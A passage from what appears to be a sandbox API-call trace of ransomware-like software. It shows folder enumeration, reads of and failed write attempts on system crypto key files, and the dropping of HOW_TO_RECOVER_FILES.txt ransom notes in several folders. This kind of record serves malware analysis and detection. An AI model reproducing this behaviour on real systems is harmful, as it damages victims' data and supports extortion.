cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1 [0131.850] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dacde5d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3dacde5d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daf3e29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0131.850] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dacde5d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3dacde5d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daf3e29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0131.850] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0131.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.850] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x74 [0131.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0131.850] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), fInfoLevelId=0x0, lpFileInformation=0x370e408 | out: lpFileInformation=0x370e408*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0131.850] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x74 [0131.850] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.851] GetFileType (hFile=0x650) returned 0x1 [0131.851] GetFileType (hFile=0x650) returned 0x1 [0131.851] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x61d [0131.851] ReadFile (in: hFile=0x650, lpBuffer=0x370ee70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x370ee70*, lpNumberOfBytesRead=0x10fa4d8*=0x61d, lpOverlapped=0x0) returned 1 [0131.851] CloseHandle (hObject=0x650) returned 1 [0131.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x74 [0131.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0131.864] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x74 [0131.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), fInfoLevelId=0x0, lpFileInformation=0x37886a8 | out: lpFileInformation=0x37886a8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0131.864] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x74 [0131.864] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.864] GetFileType (hFile=0x650) returned 0x1 [0131.864] GetFileType (hFile=0x650) returned 0x1 [0131.864] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x10fa5a8 | out: lpFileSizeHigh=0x10fa5a8*=0x0) returned 0x61d [0131.864] ReadFile (in: hFile=0x650, lpBuffer=0x3789110, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa4d8, lpOverlapped=0x0 | out: lpBuffer=0x3789110*, lpNumberOfBytesRead=0x10fa4d8*=0x61d, lpOverlapped=0x0) returned 1 [0131.865] CloseHandle (hObject=0x650) returned 1 [0131.977] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0133.188] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x74 [0133.188] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0133.191] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0133.191] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0133.192] GetFileType (hFile=0x61c) returned 0x1 [0133.192] GetFileType (hFile=0x61c) returned 0x1 [0133.193] WriteFile (in: hFile=0x61c, lpBuffer=0x3862e98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3862e98*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0133.194] CloseHandle (hObject=0x61c) returned 1 [0133.194] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0133.194] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0133.195] GetFileType (hFile=0x61c) returned 0x1 [0133.195] GetFileType (hFile=0x61c) returned 0x1 [0133.323] WriteFile (in: hFile=0x61c, lpBuffer=0x36ca760*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x36ca760*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0133.324] CloseHandle (hObject=0x61c) returned 1 [0133.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0133.324] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart", lpFilePart=0x0) returned 0x25 [0133.324] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.325] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.325] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3452e3af, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x345547b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.325] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0133.325] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0133.325] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0133.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0133.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0133.326] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart", lpFilePart=0x0) returned 0x25 [0133.326] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.326] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.326] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3452e3af, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x345547b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.326] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0133.326] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.326] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0133.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0133.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0133.327] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", lpFilePart=0x0) returned 0x2e [0133.327] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.327] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.327] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3452e3af, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.327] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.328] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0133.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0133.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0133.328] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi", lpFilePart=0x0) returned 0x2e [0133.328] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.328] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.328] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3452e3af, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.328] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3452e3af, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3452e3af, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0133.329] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0133.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0133.329] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0133.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0133.329] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\datamart\\paidwifi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0133.330] GetFileType (hFile=0x61c) returned 0x1 [0133.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0133.330] GetFileType (hFile=0x61c) returned 0x1 [0133.331] WriteFile (in: hFile=0x61c, lpBuffer=0x36e9bc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x36e9bc0*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0133.332] CloseHandle (hObject=0x61c) returned 1 [0133.332] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DataMart\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0133.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0133.332] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\datamart\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0133.333] GetFileType (hFile=0x61c) returned 0x1 [0133.333] SetThreadErrorMode (dwNewMode=0x0, 